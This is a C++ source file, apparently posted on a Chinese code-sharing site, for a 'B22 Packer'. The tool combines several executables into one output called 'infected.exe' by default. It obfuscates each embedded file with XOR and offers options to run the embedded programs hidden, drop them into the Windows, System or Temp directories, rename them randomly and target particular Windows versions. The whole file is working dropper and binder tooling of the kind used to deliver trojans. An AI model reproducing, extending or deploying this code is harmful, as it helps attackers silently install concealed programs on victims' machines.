📄 b22packer.cpp
字号:
#include <windows.h>
#include <stdio.h>
#include <time.h>
#define STUB_DATA "b22.DAT"
struct filedata
{
unsigned long offset;
unsigned long length;
char run; //fusson 閟 ha igen hogyan
char parameter; //melyik param閠ern閘 fut le
char name[30];
};
struct headerdata
{
char numberoffile;
char cryptokey;
};
char titkosit(char mit,char mivel)
{
char temp=mit;temp ^= mivel;return temp;
}
//////// Main types
filedata files[254];
headerdata mainheader;
FILE *output;
unsigned long len;
BYTE *buffer;
int size;
/////////////////////////////////////////////////////////////////
// fixUp -- Truncates at "\r" or "\n" (which sometimes fgets leaves
// floating around)
void fixUp(char *s)
{
if (!s)
return;
while (*s)
{
if ((*s=='\r')||(*s=='\n'))
*s = 0;
else
*s++;
}
}
int openoutputfile()
{
FILE *input;
// int i;
output = fopen("infected.exe", "wb");
if (!output)
{
printf("Error opening output file\n");
return 0;
}
//Insert the stub
input = fopen(STUB_DATA, "rb");
if (!input)
{
printf("Error reading stub data file %s\n", STUB_DATA);
return 0;
}
fseek(input, 0, SEEK_SET);
buffer = (BYTE *)malloc(4096);
while (!feof(input))
{
size = 4096;
size = fread(buffer, 1, size, input);
fwrite(buffer, 1, size, output);
}
fclose(input);
//Insert padding
fseek(output, 0, SEEK_END);
len = ftell(output);
buffer = (BYTE *)malloc(4096);
return 0;
}
int writetofile(int number)
{
FILE *input;
int i;
files[number].offset=ftell(output);
input = fopen(files[number].name, "rb");
if (!input)
{
printf("Error opening %s", files[number]);
return 0;
}
//Get len
fseek(input, 0, SEEK_END);
len = ftell(input);
printf("%s:%i bytes at %i offset.\n",files[number].name,len,files[number].offset);
files[number].length=len;
fseek(input, 0, SEEK_SET);
size = 1;
while (len && size && !feof(input))
{
if (len > 4096) size = 4096; else size = len;
size = fread(buffer, 1, size, input);
//Simple XOR encryption
for (i=0; i<size; i++)
buffer[i] ^= mainheader.cryptokey;
fwrite(buffer, 1, size, output);
len -= size;
}
fclose(input);
for ( i = 0; i < 31; i++ )
files[number].name[i]^= mainheader.cryptokey;
return 0;
}
int closeoutputfile()
{
fwrite(&files,sizeof(filedata),mainheader.numberoffile,output);
fwrite(&mainheader,sizeof(headerdata),1,output);
fclose(output);
return 0;
}
char GenerateKey()
{
return (rand() % 253)+1;
}
int ctoi(char c,int def)
{
if (c==0)
return def; else
{
switch (c)
{
case'1':return 1;
case'2':return 2;
case'3':return 3;
case'4':return 4;
case'5':return 5;
case'6':return 6;
case'7':return 7;
case'8':return 8;
case'9':return 9;
case'0':return 0;
}
return def;
}
}
/////////////////////////////////////////////////////////////////
// Main
int main( int argc, char *argv[ ])
{
char programname[30];
char newname[30];
bool next;
char code[4];
char c1,c2,c3,c4;
int i;
next=true;
srand( (unsigned)time( NULL ) );
printf(" B22 Packer\n");
printf("------------\n");
printf(" by Northfox\n\n");
printf("MORE EXE FILES ==> ONE EXE\n");
printf("Output file name[default infected.exe]:\n");
fgets(newname, 29, stdin);
fixUp(newname);
if (newname[0]==0)
{
strcpy(newname, "infected.EXE");
printf("infected.exe\n");
}
mainheader.numberoffile=0;
mainheader.cryptokey=GenerateKey();
printf("The Cryptokey is %c .\n",mainheader.cryptokey);
while (next)
{
printf("The %i. file:\n",mainheader.numberoffile+1);
fgets(programname, 29, stdin);
fixUp(programname);
if (programname[0]==0)
next=false; else
{
printf("Run the program when \"extracted\"?\n");
printf("1-Yes,shown\n");
printf("2-Yes,hidden\n");
printf("3-No[default]\n");
fgets(code, 3, stdin);
c1=code[0];
printf("Extract to :\n");
printf("1-Windows directory\n");
printf("2-System directory\n");
printf("3-Temp directory[default]\n");
printf("4-The given directory\n");
fgets(code, 3, stdin);
c2=code[0];
printf("Change name:\n");
printf("1-No[default]\n");
printf("2-Yes,choose name from any directory\n");
printf("3-Yes,random generated(only a..Z)\n");
printf("4-Yes,random generated(numbers and a..Z)\n");
fgets(code, 3, stdin);
c3=code[0];
printf("Operation system chooser:\n");
printf("1-No check[default]\n");
printf("2-Yes,extract under Win95/98/98SE/Me\n");
printf("3-Yes,extract under WinNt\n");
printf("4-Yes,extract under Win2000\WinXP\n");
fgets(code, 3, stdin);
c4=code[0];
printf("Extract?\n");
printf("1-Yes,at every run[default]\n");
printf("2-254-Yes,at parameter 2..254\n");
int temp,temp2;
//fgets((char)temp2, 1, stdin);
temp=ctoi(c1,3)-1+4*(ctoi(c2,3)-1)+16*(ctoi(c3,1)-1)+64*(ctoi(c4,1)-1);
files[mainheader.numberoffile].parameter=0;
printf("%u\n",temp);
files[mainheader.numberoffile].run=(byte)temp;
for ( i = 0; i < 29; i++ )
files[mainheader.numberoffile].name[i]=programname[i];
mainheader.numberoffile++;
}
}
//t鰉鰎韙閟 閟 csomagol醩
openoutputfile();
for ( i = 0; i < mainheader.numberoffile; i++ )
writetofile(i);
closeoutputfile();
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -